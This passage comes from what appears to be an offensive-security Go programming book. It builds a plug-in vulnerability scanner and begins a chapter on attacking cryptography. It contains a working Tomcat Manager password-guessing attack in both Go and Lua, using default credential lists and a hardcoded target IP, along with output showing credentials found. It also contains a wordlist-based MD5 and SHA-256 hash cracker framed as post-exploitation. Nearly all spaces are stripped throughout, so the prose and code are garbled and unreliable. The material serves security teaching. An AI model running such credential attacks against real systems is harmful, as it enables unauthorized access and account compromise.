dynamicallycallplug-ins.Nothingwithinthecodeisspecific toasinglevulnerabilitysignatureormethodusedtocheckfor avulnerability’sexistence.Instead,you’veabstractedthe functionalityenoughthatplug-indeveloperscancreatestand- aloneplug-insthatperformunitsofworkwithouthaving knowledgeofotherplug-ins—orevenextensiveknowledgeof theconsumingapplication.Theonlythingthatplug-inauthors mustconcernthemselveswithisproperlycreatingthe exportedNew()functionandatypethatimplements scanner.Checker.Let’shavealookataplug-inthatdoesjustthat. BuildingaPassword-GuessingPlug-in Thisplug-in(Listing10-3)performsapassword-guessing attackagainsttheApacheTomcatManagerloginportal.A favoritetargetforattackers,theportaliscommonlyconfigured toaccepteasilyguessablecredentials.Withvalidcredentials, anattackercanreliablyexecutearbitrarycodeonthe underlyingsystem.It’saneasywinforattackers. Inourreviewofthecode,wewon’tcoverthespecific detailsofthevulnerabilitytest,asit’sreallyjustaseriesof HTTPrequestsissuedtoaspecificURL.Instead,we’llfocus primarilyonsatisfyingthepluggablescanner’sinterface requirements. import( //Somesnippedforbrevity "github.com/bhg/ch-10/plugin-core/scanner"❶ ) varUsers=[]string{"admin","manager","tomcat"} varPasswords=[]string{"admin","manager","tomcat","password"} //TomcatCheckerimplementsthescanner.Checkinterface.Usedforguessing Tomcatcreds typeTomcatCheckerstruct{}❷ //CheckattemptstoidentifyguessableTomcatcredentials func(c*TomcatChecker)Check(hoststring,portuint64)*scanner.Result{❸ var( resp*http.Response errerror urlstring res*scanner.Result client*http.Client req*http.Request ) log.Println("CheckingforTomcatManager...") res=new(scanner.Result)❹ url=fmt.Sprintf("http://%s:%d/manager/html",host,port) ifresp,err=http.Head(url);err!=nil{ log.Printf("HEADrequestfailed:%s\n",err) returnres } log.Println("Hostrespondedto/manager/htmlrequest") //Gotaresponseback,checkifauthenticationrequired ifresp.StatusCode!=http.StatusUnauthorized|| resp.Header.Get("WWW-Authenticate")==""{ log.Println("Targetdoesn'tappeartorequireBasicauth.") returnres } //Appearsauthenticationisrequired.AssumingTomcatmanager.Guess passwords... log.Println("Hostrequiresauthentication.Proceedingwithpassword guessing...") client=new(http.Client) ifreq,err=http.NewRequest("GET",url,nil);err!=nil{ log.Println("UnabletobuildGETrequest") returnres } for_,user:=rangeUsers{ for_,password:=rangePasswords{ req.SetBasicAuth(user,password) ifresp,err=client.Do(req);err!=nil{ log.Println("UnabletosendGETrequest") continue } ifresp.StatusCode==http.StatusOK{❺ res.Vulnerable=true res.Details=fmt.Sprintf("Validcredentialsfound-%s:%s",user, password) returnres } } } returnres } //Newistheentrypointrequiredbythescanner funcNew()scanner.Checker{❻ returnnew(TomcatChecker) } Listing10-3:CreatingaTomcatcredential-guessingplug-innatively(/ch- 10/plugin-tomcat/main.go) First,youneedtoimportthescannerpackagewedetailed previously❶.ThispackagedefinesboththeCheckerinterface andtheResultstructthatyou’llbebuilding.Tocreatean implementationofChecker,youstartbydefininganemptystruct typenamedTomcatChecker❷.TofulfilltheCheckerinterface’s implementationrequirements,youcreateamethodmatching therequiredCheck(hoststring,portuint64)*scanner.Resultfunction signature❸.Withinthismethod,youperformallofyour customvulnerability-checkinglogic. Sinceyou’reexpectedtoreturna*scanner.Result,you initializeone,assigningittoavariablenamedres❹.Ifthe conditionsaremet—thatis,ifthecheckerverifiesthe guessablecredentials—andthevulnerabilityisconfirmed❺, yousetres.Vulnerabletotrueandsetres.Detailstoamessage containingtheidentifiedcredentials.Ifthevulnerabilityisn’t identified,theinstancereturnedwillhaveres.Vulnerablesettoits defaultstate—false. Lastly,youdefinetherequiredexportedfunctionNew() *scanner.Checker❻.Thisadherestotheexpectationssetbyyour scanner’sLookup()call,aswellasthetypeassertionand conversionneededtoinstantiatetheplug-in-defined TomcatChecker.Thisbasicentrypointdoesnothingmorethan returnanew*TomcatChecker(which,sinceitimplementsthe requiredCheck()method,happenstobeascanner.Checker). RunningtheScanner Nowthatyou’vecreatedbothyourplug-inandthemain programthatconsumesit,compileyourplug-in,usingthe-o optiontodirectyourcompiledsharedobjecttothescanner’s plug-insdirectory: $gobuild-buildmode=plugin-o/path/to/plugins/tomcat.so Thenrunyourscanner(cmd/scanner/main.go)toconfirm thatitidentifiestheplug-in,loadsit,andexecutestheplug- in’sCheck()method: $gorunmain.go Foundplugin:tomcat.so 2020/01/1515:45:18CheckingforTomcatManager... 2020/01/1515:45:18Hostrespondedto/manager/htmlrequest 2020/01/1515:45:18Hostrequiresauthentication.Proceedingwithpassword guessing... 2020/01/1515:45:18Hostisvulnerable:Validcredentialsfound-tomcat:tomcat Wouldyoulookatthat?Itworks!Yourscannerisableto callcodewithinyourplug-in.Youcandropanynumberof otherplug-insintotheplug-insdirectory.Yourscannerwill attempttoreadeachandkickoffthevulnerability-checking functionality. Thecodewedevelopedcouldbenefitfromanumberof improvements.We’llleavetheseimprovementstoyouasan exercise.Weencourageyoutotryafewthings: 1. Createaplug-intocheckforadifferentvulnerability. 2. Addtheabilitytodynamicallysupplyalistofhostsandtheiropenportsfor moreextensivetests. 3. Enhancethecodetocallonlyapplicableplug-ins.Currently,thecodewillcall allplug-insforthegivenhostandport.Thisisn’tideal.Forexample,you wouldn’twanttocalltheTomcatcheckerifthetargetportisn’tHTTPor HTTPS. 4. Convertyourplug-insystemtorunonWindows,usingDLLsastheplug-in type. Inthenextsection,you’llbuildthesamevulnerability- checkingplug-ininadifferent,unofficialplug-insystem:Lua. BUILDINGPLUG-INSINLUA UsingGo’snativebuildmodefeaturewhencreatingpluggable programshaslimitations,particularlybecauseit’snotvery portable,meaningtheplug-insmaynotcross-compilenicely. Inthissection,we’lllookatawaytoovercomethisdeficiency bycreatingplug-inswithLuainstead.Luaisascripting languageusedtoextendvarioustools.Thelanguageitselfis easilyembeddable,powerful,fast,andwell-documented. SecuritytoolssuchasNmapandWiresharkuseitforcreating plug-ins,muchasyou’lldorightnow.Formoreinfo,referto theofficialsiteathttps://www.lua.org/. TouseLuawithinGo,you’lluseathird-partypackage, gopher-lua,whichiscapableofcompilingandexecutingLua scriptsdirectlyinGo.Installitonyoursystembyenteringthe following: $gogetgithub.com/yuin/gopher-lua Now,beforewarnedthatthepriceyou’llpayforportability isincreasedcomplexity.That’sbecauseLuahasnoimplicit waytocallfunctionsinyourprogramorvariousGopackages andhasnoknowledgeofyourdatatypes.Tosolvethis problem,you’llhavetochooseoneoftwodesignpatterns: 1. CallasingleentrypointinyourLuaplug-in,andlettheplug-incallanyhelper methods(suchasthoseneededtoissueHTTPrequests)throughotherLua packages.Thismakesyourmainprogramsimple,butitreducesportabilityand couldmakedependencymanagementanightmare.Forexample,whatifaLua plug-inrequiresathird-partydependencynotinstalledasacoreLuapackage? Yourplug-inwouldbreakthemomentyoumoveittoanothersystem.Also, whatiftwoseparateplug-insrequiredifferentversionsofapackage? 2. Inyourmainprogram,wrapthehelperfunctions(suchasthosefromthenet/http package)inamannerthatexposesafaçdethroughwhichtheplug-incan interact.This,ofcourse,requiresyoutowriteextensivecodetoexposeallthe Gofunctionsandtypes.However,onceyou’vewrittenthecode,theplug-inscan reuseitinaconsistentmanner.Plus,youcansortofnotworryabouttheLua dependencyissuesthatyou’dhaveifyouusedthefirstdesignpattern(although, ofcourse,there’salwaysthechancethataplug-inauthorusesathird-party libraryandbreakssomething). Fortheremainderofthissection,you’llworkonthe seconddesignpattern.You’llwrapyourGofunctionsto exposeafaçdethat’saccessibletoyourLuaplug-ins.It’sthe betterofthetwosolutions(andplus,thewordfaçdemakesit soundlikeyou’rebuildingsomethingreallyfancy). Thebootstrapping,coreGocodethatloadsandrunsplug- inswillresideinasinglefileforthedurationofthisexercise. Forthesakeofsimplicity,we’vespecificallyremovedsomeof patternsusedintheexamplesat https://github.com/yuin/gopher-lua/.Wefeltthatsomeofthe patterns,suchasusinguser-definedtypes,madethecodeless readable.Inarealimplementation,you’dlikelywantto includesomeofthosepatternsforbetterflexibility.You’dalso wanttoincludemoreextensiveerrorandtypechecking. YourmainprogramwilldefinefunctionstoissueGETand HEADHTTPrequests,registerthosefunctionswiththeLua virtualmachine(VM),andloadandexecuteyourLuascripts fromadefinedplug-insdirectory.You’llbuildthesame Tomcatpassword-guessingplug-infromtheprevioussection, soyou’llbeabletocomparethetwoversions. Creatingthehead()HTTPFunction Let’sstartwiththemainprogram.First,let’slookatthehead() HTTPfunction,whichwrapscallstoGo’snet/httppackage (Listing10-4). funchead(l*lua.LState❶)int{ var( hoststring portuint64 pathstring resp*http.Response errerror urlstring ) ❷host=l.CheckString(1) port=uint64(l.CheckInt64(2)) path=l.CheckString(3) url=fmt.Sprintf("http://%s:%d/%s",host,port,path) ifresp,err=http.Head(url);err!=nil{ ❸l.Push(lua.LNumber(0)) l.Push(lua.LBool(false)) l.Push(lua.LString(fmt.Sprintf("Requestfailed:%s",err))) ❹return3 } ❺l.Push(lua.LNumber(resp.StatusCode)) l.Push(lua.LBool(resp.Header.Get("WWW-Authenticate")!="")) l.Push(lua.LString("")) ❻return3 } Listing10-4:Creatingahead()functionforLua(/ch-10/lua- core/cmd/scanner/main.go) First,noticethatyourhead()functionacceptsapointertoa lua.LStateobjectandreturnsanint❶.Thisistheexpected signatureforanyfunctionyouwishtoregisterwiththeLua VM.Thelua.LStatetypemaintainstherunningstateoftheVM, includinganyparameterspassedintoLuaandreturnedfrom Go,asyou’llseeshortly.Sinceyourreturnvalueswillbe includedwithinthelua.LStateinstance,theintreturntype representsthenumberofvaluesreturned.Thatway,yourLua plug-inwillbeabletoreadandusethereturnvalues. Sincethelua.LStateobject,l,containsanyparameterspassed toyourfunction,youreadthedatainviacallstol.CheckString() andl.CheckInt64()❷.(Althoughnotneededforourexample, otherCheck*functionsexisttoaccommodateotherexpected datatypes.)Thesefunctionsreceiveanintegervalue,which actsastheindexforthedesiredparameter.UnlikeGoslices, whichare0-indexed,Luais1-indexed.So,thecallto l.CheckString(1)retrievesthefirstparametersuppliedintheLua functioncall,expectingittobeastring.Youdothisforeach ofyourexpectedparameters,passingintheproperindexofthe expectedvalue.Foryourhead()function,you’reexpectingLua tocallhead(host,port,path),wherehostandpatharestringsandport isaninteger.Inamoreresilientimplementation,you’dwant todoadditionalcheckingheretomakesurethedatasupplied isvalid. ThefunctionproceedstoissueanHTTPHEADrequest andperformsomeerrorchecking.Inordertoreturnvaluesto yourLuacallers,youpushthevaluesontoyourlua.LStateby callingl.Push()andpassingitanobjectthatfulfillsthelua.LValue interfacetype❸.Thegopher-luapackagecontainsseveraltypes thatimplementthisinterface,makingitaseasyascalling lua.LNumber(0)andlua.LBool(false),forexample,tocreatenumerical andbooleanreturntypes. Inthisexample,you’rereturningthreevalues.Thefirstis theHTTPstatuscode,theseconddetermineswhetherthe serverrequiresbasicauthentication,andthethirdisanerror message.We’vechosentosetthestatuscodeto0ifanerror occurs.Youthenreturn3,whichisthenumberofitemsyou’ve pushedontoyourLStateinstance❹.Ifyourcalltohttp.Head() doesn’tproduceanerror,youpushyourreturnvaluesonto LState❺,thistimewithavalidstatuscode,andthencheckfor basicauthenticationandreturn3❻. Creatingtheget()Function Next,you’llcreateyourget()function,which,liketheprevious example,wrapsthenet/httppackage’sfunctionality.Inthiscase, however,you’llissueanHTTPGETrequest.Otherthanthat, theget()functionusesfairlysimilarconstructsasyourhead() functionbyissuinganHTTPrequesttoyourtargetendpoint. EnterthecodeinListing10-5. funcget(l*lua.LState)int{ var( hoststring portuint64 usernamestring passwordstring pathstring resp*http.Response errerror urlstring client*http.Client req*http.Request ) host=l.CheckString(1) port=uint64(l.CheckInt64(2)) ❶username=l.CheckString(3) password=l.CheckString(4) path=l.CheckString(5) url=fmt.Sprintf("http://%s:%d/%s",host,port,path) client=new(http.Client) ifreq,err=http.NewRequest("GET",url,nil);err!=nil{ l.Push(lua.LNumber(0)) l.Push(lua.LBool(false)) l.Push(lua.LString(fmt.Sprintf("UnabletobuildGETrequest:%s",err))) return3 } ifusername!=""||password!=""{ //AssumeBasicAuthisrequiredsinceuserand/orpasswordisset req.SetBasicAuth(username,password) } ifresp,err=client.Do(req);err!=nil{ l.Push(lua.LNumber(0)) l.Push(lua.LBool(false)) l.Push(lua.LString(fmt.Sprintf("UnabletosendGETrequest:%s",err))) return3 } l.Push(lua.LNumber(resp.StatusCode)) l.Push(lua.LBool(false)) l.Push(lua.LString("")) return3 } Listing10-5:Creatingaget()functionforLua(/ch-10/lua- core/cmd/scanner/main.go) Muchlikeyourhead()implementation,yourget()function willreturnthreevalues:thestatuscode,avalueexpressing whetherthesystemyou’retryingtoaccessrequiresbasic authentication,andanyerrormessages.Theonlyreal differencebetweenthetwofunctionsisthatyourget()function acceptstwoadditionalstringparameters:ausernameanda password❶.Ifeitherofthesevaluesissettoanon-empty string,you’llassumeyouhavetoperformbasicauthentication. Now,someofyouareprobablythinkingthatthe implementationsareoddlyspecific,almosttothepointof negatinganyflexibility,reusability,andportabilityofaplug- insystem.It’salmostasifthesefunctionsweredesignedfora veryspecificusecase—thatis,tocheckforbasic authentication—ratherthanforageneralpurpose.Afterall, whywouldn’tyoureturntheresponsebodyortheHTTP headers?Likewise,whywouldn’tyouacceptmorerobust parameterstosetcookies,otherHTTPheaders,orissuePOST requestswithabody,forexample? Simplicityistheanswer.Yourimplementationscanactasa startingpointforbuildingamorerobustsolution.However, creatingthatsolutionwouldbeamoresignificantendeavor, andyou’dlikelylosethecode’spurposewhiletryingto navigateimplementationdetails.Instead,we’vechosentodo thingsinamorebasic,lessflexiblefashiontomakethe general,foundationalconceptssimplertounderstand.An improvedimplementationwouldlikelyexposecomplexuser- definedtypesthatbetterrepresenttheentiretyof,forexample, thehttp.Requestandhttp.Responsetypes.Then,ratherthanaccepting andreturningmultipleparametersfromLua,youcould simplifyyourfunctionsignatures,reducingthenumberof parametersyouacceptandreturn.Weencourageyoutowork throughthischallengeasanexercise,changingthecodeto acceptandreturnuser-definedstructsratherthanprimitive types. RegisteringtheFunctionswiththeLuaVM Uptothispoint,you’veimplementedwrapperfunctions aroundthenecessarynet/httpcallsyouintendtouse,creating thefunctionssogopher-luacanconsumethem.However,you needtoactuallyregisterthefunctionswiththeLuaVM.The functioninListing10-6centralizesthisregistrationprocess. ❶constLuaHttpTypeName="http" funcregister(l*lua.LState){ ❷mt:=l.NewTypeMetatable(LuaHttpTypeName) ❸l.SetGlobal("http",mt) //staticattributes ❹l.SetField(mt,"head",l.NewFunction(head)) l.SetField(mt,"get",l.NewFunction(get)) } Listing10-6:Registeringplug-inswithLua(/ch-10/lua-core/cmd/scanner/main.go) Youstartbydefiningaconstantthatwilluniquelyidentify thenamespaceyou’recreatinginLua❶.Inthiscase,you’ll usehttpbecausethat’sessentiallythefunctionalityyou’re exposing.Inyourregister()function,youacceptapointertoa lua.LState,andusethatnamespaceconstanttocreateanewLua typeviaacalltol.NewTypeMetatable()❷.You’llusethis metatabletotracktypesandfunctionsavailabletoLua. Youthenregisteraglobalname,http,onthemetatable❸. ThismakesthehttpimplicitpackagenameavailabletotheLua VM.Onthesamemetatable,youalsoregistertwofieldsby usingcallstol.SetField()❹.Here,youdefinetwostatic functionsnamedhead()andget(),availableonthehttp namespace.Sincethey’restatic,youcancallthemviahttp.get() andhttp.head()withouthavingtocreateaninstanceoftypehttpin Lua. AsyoumayhavenotedintheSetField()calls,thethird parameteristhedestinationfunctionthat’llhandletheLua calls.Inthiscase,thoseareyourget()andhead()functionsyou previouslyimplemented.Thesearewrappedinacallto l.NewFunction(),whichacceptsafunctionofformfunc(*LState)int, whichishowyoudefinedyourget()andhead()functions.They returna*lua.LFunction.Thismightbealittleoverwhelming, sincewe’veintroducedalotofdatatypesandyou’reprobably unfamiliarwithgopher-lua.Justunderstandthatthisfunctionis registeringtheglobalnamespaceandfunctionnamesand creatingmappingsbetweenthosefunctionnamesandyourGo functions. WritingYourMainFunction Lastly,you’llneedtocreateyourmain()function,whichwill coordinatethisregistrationprocessandexecutetheplug-in (Listing10-7). ❶constPluginsDir="../../plugins" funcmain(){ var( l*lua.LState files[]os.FileInfo errerror fstring ) ❷l=lua.NewState() deferl.Close() ❸register(l) ❹iffiles,err=ioutil.ReadDir(PluginsDir);err!=nil{ log.Fatalln(err) } ❺foridx:=rangefiles{ fmt.Println("Foundplugin:"+files[idx].Name()) f=fmt.Sprintf("%s/%s",PluginsDir,files[idx].Name()) ❻iferr:=l.DoFile(f);err!=nil{ log.Fatalln(err) } } } Listing10-7:RegisteringandcallingLuaplug-ins(/ch-10/lua- core/cmd/scanner/main.go) Asyoudidforyourmain()functionintheGoexample, you’llhardcodethedirectorylocationfromwhichyou’llload yourplug-ins❶.Inyourmain()function,youissueacallto lua.NewState()❷tocreateanew*lua.LStateinstance.The lua.NewState()instanceisthekeyitemyou’llneedtosetupyour LuaVM,registeryourfunctionsandtypes,andexecute arbitraryLuascripts.Youthenpassthatpointertotheregister() functionyoucreatedearlier❸,whichregistersyourcustom httpnamespaceandfunctionsonthestate.Youreadthe contentsofyourplug-insdirectory❹,loopingthrougheach fileinthedirectory❺.Foreachfile,youcalll.DoFile(f)❻, wherefistheabsolutepathtothefile.Thiscallexecutesthe contentsofthefilewithintheLuastateonwhichyou registeredyourcustomtypesandfunctions.Basically,DoFile() isgopher-lua’swayofallowingyoutoexecuteentirefilesasif theywerestand-aloneLuascripts. CreatingYourPlug-inScript Nowlet’stakealookatyourTomcatplug-inscript,writtenin Lua(Listing10-8). usernames={"admin","manager","tomcat"} passwords={"admin","manager","tomcat","password"} status,basic,err=http.head("10.0.1.20",8080,"/manager/html")❶ iferr~=""then print("[!]Error:"..err) return end ifstatus~=401ornotbasicthen print("[!]Error:EndpointdoesnotrequireBasicAuth.Exiting.") return end print("[+]EndpointrequiresBasicAuth.Proceedingwithpasswordguessing") fori,usernameinipairs(usernames)do forj,passwordinipairs(passwords)do status,basic,err=http.get("10.0.1.20",8080,username,password, "/manager/html")❷ ifstatus==200then print("[+]Foundcreds-"..username..":"..password) return end end end Listing10-8:ALuaplug-inforTomcatpasswordguessing(/ch-10/lua- core/plugins/tomcat.lua) Don’tworrytoomuchaboutthevulnerability-checking logic.It’sessentiallythesameasthelogicyoucreatedinthe Goversionofthisplug-in;itperformsbasicpassword guessingagainsttheTomcatManagerportalafterit fingerprintstheapplicationbyusingaHEADrequest.We’ve highlightedthetwomostinterestingitems. Thefirstisacalltohttp.head("10.0.1.20",8080,"/manager/html")❶. Basedoffyourglobalandfieldregistrationsonthestate metatable,youcanissueacalltoafunctionnamedhttp.head() withoutreceivingaLuaerror.Additionally,you’resupplying thecallwiththethreeparametersyourhead()functionexpected toreadfromtheLStateinstance.TheLuacallisexpectingthree returnvalues,whichalignwiththenumbersandtypesyou pushedontotheLStatebeforeyouexitedtheGofunction. Theseconditemisyourcalltohttp.get()❷,whichissimilar tothehttp.head()functioncall.Theonlyrealdifferenceisthat youarepassingusernameandpasswordparameterstothe http.get()function.IfyoureferbacktotheGoimplementationof yourget()function,you’llseethatwe’rereadingthesetwo additionalstringsfromtheLStateinstance. TestingtheLuaPlug-in Thisexampleisn’tperfectandcouldbenefitfromadditional designconsiderations.Butaswithmostadversarialtools,the mostimportantthingisthatitworksandsolvesaproblem. Runningyourcodeprovesthatitdoes,indeed,workas expected: $gorunmain.go Foundplugin:tomcat.lua [+]EndpointrequiresBasicAuth.Proceedingwithpasswordguessing [+]Foundcreds-tomcat:tomcat Nowthatyouhaveabasicworkingexample,weencourage youtoimprovethedesignbyimplementinguser-definedtypes sothatyouaren’tpassinglengthylistsofargumentsand parameterstoandfromfunctions.Withthis,you’lllikelyneed toexploreregisteringinstancemethodsonyourstruct,whether forsettingandgettingvaluesinLuaorforcallingmethodson aspecificallyimplementedinstance.Asyouworkthrough this,you’llnoticethatyourcodewillgetsignificantlymore complex,sinceyou’llbewrappingalotofyourGo functionalityinaLua-friendlymanner. SUMMARY Aswithmanydesigndecisions,therearemultiplewaystoskin acat.Whetheryou’reusingGo’snativeplug-insystemoran alternativelanguagelikeLua,youmustconsidertrade-offs. Butregardlessofyourapproach,youcaneasilyextendGoto makerichsecurityframeworks,particularlysincetheaddition ofitsnativeplug-insystem. Inthenextchapter,you’lltackletherichtopicof cryptography.We’lldemonstratevariousimplementationsand usecases,andthenbuildanRC2symmetric-keybrute-forcer. 11 IMPLEMENTINGANDATTACKING CRYPTOGRAPHY Aconversationaboutsecurityisn’tcompletewithout exploringcryptography.Whenorganizationsuse cryptographicpractices,theycanhelpconservetheintegrity, confidentiality,andauthenticityoftheirinformationand systemsalike.Asatooldeveloper,you’dlikelyneedto implementcryptographicfeatures,perhapsforSSL/TLS communications,mutualauthentication,symmetric-key cryptography,orpasswordhashing.Butdevelopersoften implementcryptographicfunctionsinsecurely,whichmeans theoffensive-mindedcanexploittheseweaknessesto compromisesensitive,valuabledata,suchassocialsecurityor creditcardnumbers. Thischapterdemonstratesvariousimplementationsof cryptographyinGoanddiscussescommonweaknessesyou canexploit.Althoughweprovideintroductoryinformationfor thedifferentcryptographicfunctionsandcodeblocks,we’re notattemptingtoexplorethenuancesofcryptographic algorithmsortheirmathematicalfoundations.That,frankly,is farbeyondourinterestin(orknowledgeof)cryptography.As we’vestatedbefore,don’tattemptanythinginthischapter againstresourcesorassetswithoutexplicitpermissionfrom theowner.We’reincludingthesediscussionsforlearning purposes,nottoassistinillegalactivities. REVIEWINGBASIC CRYPTOGRAPHYCONCEPTS BeforeweexplorecryptoinGo,let’sdiscussafewbasic cryptographyconcepts.We’llmakethisshorttokeepyou fromfallingintoadeepsleep. First,encryption(forthepurposesofmaintaining confidentiality)isjustoneofthetasksofcryptography. Encryption,generallyspeaking,isatwo-wayfunctionwith whichyoucanscrambledataandsubsequentlyunscrambleit toretrievetheinitialinput.Theprocessofencryptingdata rendersitmeaninglessuntilit’sbeendecrypted. Bothencryptionanddecryptioninvolvepassingthedata andanaccompanyingkeyintoacryptographicfunction.The functionoutputseithertheencrypteddata(calledciphertext) ortheoriginal,readabledata(calledcleartext).Various algorithmsexisttodothis.Symmetricalgorithmsusethesame keyduringtheencryptionanddecryptionprocesses,whereas asymmetricalgorithmsusedifferentkeysforencryptionand decryption.Youmightuseencryptiontoprotectdataintransit ortostoresensitiveinformation,suchascreditcardnumbers, todecryptlater,perhapsforconvenienceduringafuture purchaseorforfraudmonitoring. Ontheotherhand,hashingisaone-wayprocessfor mathematicallyscramblingdata.Youcanpasssensitive informationintoahashingfunctiontoproduceafixed-length output.Whenyou’reworkingwithstrongalgorithms,suchas thoseintheSHA-2family,theprobabilitythatdifferentinputs producethesameoutputisextremelylow.Thatis,thereisa lowlikelihoodofacollision.Becausethey’renonreversible, hashesarecommonlyusedasanalternativetostoringcleartext passwordsinadatabaseortoperformintegritycheckingto determinewhetherdatahasbeenchanged.Ifyouneedto obscureorrandomizetheoutputsfortwoidenticalinputs,you useasalt,whichisarandomvalueusedtodifferentiatetwo identicalinputsduringthehashingprocess.Saltsarecommon forpasswordstoragebecausetheyallowmultipleuserswho coincidentallyuseidenticalpasswordstostillhavedifferent hashvalues. Cryptographyalsoprovidesameansforauthenticating messages.Amessageauthenticationcode(MAC)istheoutput producedfromaspecialone-waycryptographicfunction.This functionconsumesthedataitself,asecretkey,andan initializationvector,andproducesanoutputunlikelytohavea collision.Thesenderofamessageperformsthefunctionto generateaMACandthenincludestheMACaspartofthe message.ThereceiverlocallycalculatestheMACand comparesittotheMACtheyreceived.Amatchindicatesthat thesenderhasthecorrectsecretkey(thatis,thatthesenderis authentic)andthatthemessagewasnotchanged(theintegrity hasbeenmaintained). There!Nowyoushouldknowenoughaboutcryptography tounderstandthecontentsofthischapter.Wherenecessary, we’lldiscussmorespecificsrelevanttothegiventopic.Let’s startbylookingatGo’sstandardcryptolibrary. UNDERSTANDINGTHESTANDARD CRYPTOLIBRARY ThebeautifulthingaboutimplementingcryptoinGoisthat themajorityofcryptographicfeaturesyou’lllikelyusearepart ofthestandardlibrary.Whereasotherlanguagescommonly relyonOpenSSLorotherthird-partylibraries,Go’scrypto featuresarepartoftheofficialrepositories.Thismakes implementingcryptorelativelystraightforward,asyouwon’t havetoinstallclumsydependenciesthat’llpolluteyour developmentenvironment.Therearetwoseparaterepositories. Theself-containedcryptopackagecontainsavarietyof subpackagesusedforthemostcommoncryptographictasks andalgorithms.Forexample,youcouldusetheaes,des,andrc4 subpackagesforimplementingsymmetric-keyalgorithms;the dsaandrsasubpackagesforasymmetricencryption;andthemd5, sha1,sha256,andsha512subpackagesforhashing.Thisisnotan exhaustivelist;additionalsubpackagesexistforothercrypto functions,aswell. Inadditiontothestandardcryptopackage,Gohasan official,extendedpackagethatcontainsavarietyof supplementarycryptofunctionality:golang.org/x/crypto.The functionalitywithinincludesadditionalhashingalgorithms, encryptionciphers,andutilities.Forexample,thepackage containsabcryptsubpackageforbcrypthashing(abetter,more securealternativeforhashingpasswordsandsensitivedata), acme/autocertforgeneratinglegitimatecertificates,andSSH subpackagestofacilitatecommunicationsovertheSSH protocol. Theonlyrealdifferencebetweenthebuilt-incryptoand supplementarygolang.org/x/cryptopackagesisthatthecrypto packageadherestomorestringentcompatibilityrequirements. Also,ifyouwishtouseanyofthegolang.org/x/crypto subpackages,you’llfirstneedtoinstallthepackageby enteringthefollowing: $goget-ugolang.org/x/crypto/bcrypt Foracompletelistingofallthefunctionalityand subpackageswithintheofficialGocryptopackages,checkout theofficialdocumentationathttps://golang.org/pkg/crypto/ andhttps://godoc.org/golang.org/x/crypto/. Thenextsectionsdelveintovariouscrypto implementations.You’llseehowtouseGo’scrypto functionalitytodosomenefariousthings,suchascrack passwordhashes,decryptsensitivedatabyusingastatickey, andbrute-forceweakencryptionciphers.You’llalsousethe functionalitytocreatetoolsthatuseTLStoprotectyourin- transitcommunications,checktheintegrityandauthenticityof data,andperformmutualauthentication. EXPLORINGHASHING Hashing,aswementionedpreviously,isaone-wayfunction usedtoproduceafixed-length,probabilisticallyuniqueoutput basedonavariable-lengthinput.Youcan’treversethishash valuetoretrievetheoriginalinputsource.Hashesareoften usedtostoreinformationwhoseoriginal,cleartextsource won’tbeneededforfutureprocessingortotracktheintegrity ofdata.Forexample,it’sbadpracticeandgenerally unnecessarytostorethecleartextversionofthepassword; instead,you’dstorethehash(salted,ideally,toensure randomnessbetweenduplicatevalues). TodemonstratehashinginGo,we’lllookattwoexamples. ThefirstattemptstocrackagivenMD5orSHA-512hashby usinganofflinedictionaryattack.Thesecondexample demonstratesanimplementationofbcrypt.Asmentioned previously,bcryptisamoresecurealgorithmforhashing sensitivedatasuchaspasswords.Thealgorithmalsocontains afeaturethatreducesitsspeed,makingithardertocrack passwords. CrackinganMD5orSHA-256Hash Listing11-1showsthehash-crackingcode.(Allthecode listingsattherootlocationof/existundertheprovidedgithub repohttps://github.com/blackhat-go/bhg/.)Sincehashesaren’t directlyreversible,thecodeinsteadtriestoguessthecleartext valueofthehashbygeneratingitsownhashesofcommon words,takenfromawordlist,andthencomparingthe resultinghashvaluewiththehashyouhaveinhand.Ifthetwo hashesmatch,you’velikelyguessedthecleartextvalue. ❶varmd5hash="77f62e3524cd583d698d51fa24fdff4f" varsha256hash= "95a5e1547df73abdd4781b6c9e55f3377c15d08884b11738c2727dbd887d4ced" funcmain(){ f,err:=os.Open("wordlist.txt")❷ iferr!=nil{ log.Fatalln(err) } deferf.Close() ❸scanner:=bufio.NewScanner(f) forscanner.Scan(){ password:=scanner.Text() hash:=fmt.Sprintf("%x",md5.Sum([]byte(password))❹) ❺ifhash==md5hash{ fmt.Printf("[+]Passwordfound(MD5):%s\n",password) } hash=fmt.Sprintf("%x",sha256.Sum256([]byte(password))❻) ❼ifhash==sha256hash{ fmt.Printf("[+]Passwordfound(SHA-256):%s\n",password) } } iferr:=scanner.Err();err!=nil{ log.Fatalln(err) } } Listing11-1:CrackingMD5andSHA-256hashes(/ch-11/hashes/main.go) Youstartbydefiningtwovariables❶thatholdthetarget hashvalues.OneisanMD5hash,andtheotherisaSHA-256. Imaginethatyouacquiredthesetwohashesaspartofpost- exploitationandyou’retryingtodeterminetheinputs(the cleartextpasswords)thatproducedthemafterbeingrun throughthehashingalgorithm.Youcanoftendeterminethe algorithmbyinspectingthelengthofthehashitself.Whenyou findahashthatmatchesthetarget,you’llknowyouhavethe correctinput. Thelistofinputsyou’lltryexistsinadictionaryfileyou’ll havecreatedearlier.Alternatively,aGooglesearchcanhelp youfinddictionaryfilesforcommonlyusedpasswords.To checktheMD5hash,youopenthedictionaryfile❷andread it,linebyline,bycreatingabufio.Scanneronthefiledescriptor ❸.Eachlineconsistsofasinglepasswordvaluethatyouwish tocheck.Youpassthecurrentpasswordvalueintoafunction namedmd5.Sum(input[]byte)❹.ThisfunctionproducestheMD5 hashvalueasrawbytes,soyouusethefmt.Sprintf()function withtheformatstring%xtoconvertittoahexadecimalstring. Afterall,yourmd5hashvariableconsistsofahexadecimalstring representationofthetargethash.Convertingyourvalue ensuresthatyoucanthencomparethetargetandcalculated hashvalues❺.Ifthesehashesmatch,theprogramdisplaysa successmessagetostdout. Youperformasimilarprocesstocalculateandcompare SHA-256hashes.Theimplementationisfairlysimilartothe MD5code.Theonlyrealdifferenceisthatthesha256package containsadditionalfunctionstocalculatevariousSHAhash lengths.Ratherthancallingsha256.Sum()(afunctionthatdoesn’t exist),youinsteadcallsha256.Sum256(input[]byte)❻toforcethe hashtobecalculatedusingtheSHA-256algorithm.Muchas youdidintheMD5example,youconvertyourrawbytestoa hexstringandcomparetheSHA-256hashestoseewhether youhaveamatch❼. Implementingbcrypt Thenextexampleshowshowtousebcrypttoencryptand authenticatepasswords.UnlikeSHAandMD5,bcryptwas designedforpasswordhashing,makingitabetteroptionfor applicationdesignersthantheSHAorMD5families.It includesasaltbydefault,aswellasacostfactorthatmakes runningthealgorithmmoreresource-intensive.Thiscost 